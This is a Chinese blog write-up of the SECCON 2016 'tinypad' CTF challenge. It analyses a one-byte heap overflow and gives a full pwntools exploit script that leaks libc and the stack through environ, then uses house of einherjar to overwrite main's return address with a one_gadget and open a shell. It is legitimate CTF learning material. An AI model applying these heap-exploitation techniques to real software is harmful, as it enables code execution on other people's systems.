登录后台

页面导航

本文编写于 335 天前,最后修改于 91 天前,其中某些信息可能已经过时。

2016 Seccon tinypad

程序分析

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

没卡pie

+------------------------------------------------------------------------------+

 #   INDEX: 1
 # CONTENT: 

+------------------------------------------------------------------------------+

 #   INDEX: 2
 # CONTENT: 

+------------------------------------------------------------------------------+

 #   INDEX: 3
 # CONTENT: 

+------------------------------------------------------------------------------+

 #   INDEX: 4
 # CONTENT: 

+- MENU -----------------------------------------------------------------------+
| [A] Add memo                                                                 |
| [D] Delete memo                                                              |
| [E] Edit memo                                                                |
| [Q] Quit                                                                     |
+------------------------------------------------------------------------------+

程序看起来有点中二。。。

单字节溢出,伪代码我没看出来~gdb调试可以看到

漏洞利用

老套路,泄露libc,劫持hook

add(0x80,'a'*0x80)#1
add(0x80,'b'*0x80)#2
add(0x80,'c'*0x80)#3
add(0x80,'d'*0x80)#4
delete(1)
delete(3)
libc_base = u64(io.recv()[0x76:0x7c].ljust(8,'\x00')) - 88 - 0x3c4b20
log.success('libc_base: '+hex(libc_base))

泄露除了libc,但是没有free_hook和malloc_hook,凉凉,继续看wp,解锁新姿势:environ
environ位置的第一个就是main_ret,可以泄露出来,劫持main_ret
house of einherjar

大佬的exp
点此看大佬的解析

#!/usr/bin/env python
# coding=utf-8
from pwn import *

elf = ELF('./tinypad')
libc = elf.libc
#io = remote('47.111.233.219',10002)
io = process('./tinypad')
context.log_level = 'debug'

def choice(idx):
    io.sendlineafter("(CMD)>>> ", idx)

def add(size, content):
    choice("A")
    io.sendlineafter("(SIZE)>>> ", str(size))
    io.sendlineafter("(CONTENT)>>> ", content)

def remove(idx):
    choice("D")
    io.sendlineafter("(INDEX)>>> ", str(idx))

def edit(idx, content):
    choice("E")
    io.sendlineafter("(INDEX)>>> ", str(idx))
    io.sendlineafter("(CONTENT)>>> ", content)
    io.sendlineafter("(Y/n)>>> ", "Y")

def quit():
    choice("Q")

def exp():

    #stage 1 leak the addr
    add(0x80, '1'*0x80)
    add(0x80, '2'*0x80)
    add(0x80, '3'*0x80)
    add(0x80, '4'*0x80)
    remove(3)
    remove(1)
    io.recvuntil("INDEX: 1\n")
    io.recvuntil(" # CONTENT: ")
    heap = u64(io.recvline().rstrip().ljust(8, '\x00')) - 0x120
    io.success("heap: 0x%x" % heap)
    io.recvuntil("INDEX: 3\n")
    io.recvuntil(" # CONTENT: ")
    leak_libc = u64(io.recvline().strip().ljust(8, '\x00')) - 88
    io.success("main_arena: 0x%x" %leak_libc)
    libc_base = leak_libc - 0x3c4b20 
    remove(2)
    remove(4)
    
    #stage 2
    add(0x10, '1'*0x10)
    add(0x100, '2'*0xf8 + p64(0x11))
    add(0x100, '3'*0xf8)
    add(0x100, '4'*0xf8)
    tinypad = 0x602040
    offset = heap + 0x20 - (0x602040 + 0x20)
    io.success("offset: 0x%x" % offset)
    fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
    edit(3, "4"*0x20 + fake_chunk)
    remove(1)
    add(0x18, '1'*0x10 + p64(offset))
    remove(2)
    edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(leak_libc + 88)*2)

    #stage 3
    one_gadget = libc_base + 0x45216
    io.success("libc_base: 0x%x" % libc_base)
    environ_pointer = libc_base + libc.symbols['__environ']

    io.success("environ_pointer: 0x%x" % environ_pointer)
    add(0xf0, '1'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
    io.recvuntil(" #   INDEX: 1\n")
    io.recvuntil(" # CONTENT: ")
    main_ret = u64(io.recvline().rstrip().ljust(8, '\x00')) - 0x8 * 30
    io.success("main_ret: %x" % main_ret)
    edit(2, p64(main_ret))
    edit(1, p64(one_gadget))
    quit()
    
if __name__ == '__main__':
    exp()
    io.interactive()

总结:花了一天时间刚这道题,内存分配都看清楚了,代码的前后能看明白,中间那一块内存的变化太玄学了,house of einherjar这块可以看ctf-wiki,我写的文档不多,主要是看大佬的解析,也就没有重复写,看懂就行,主要是思想;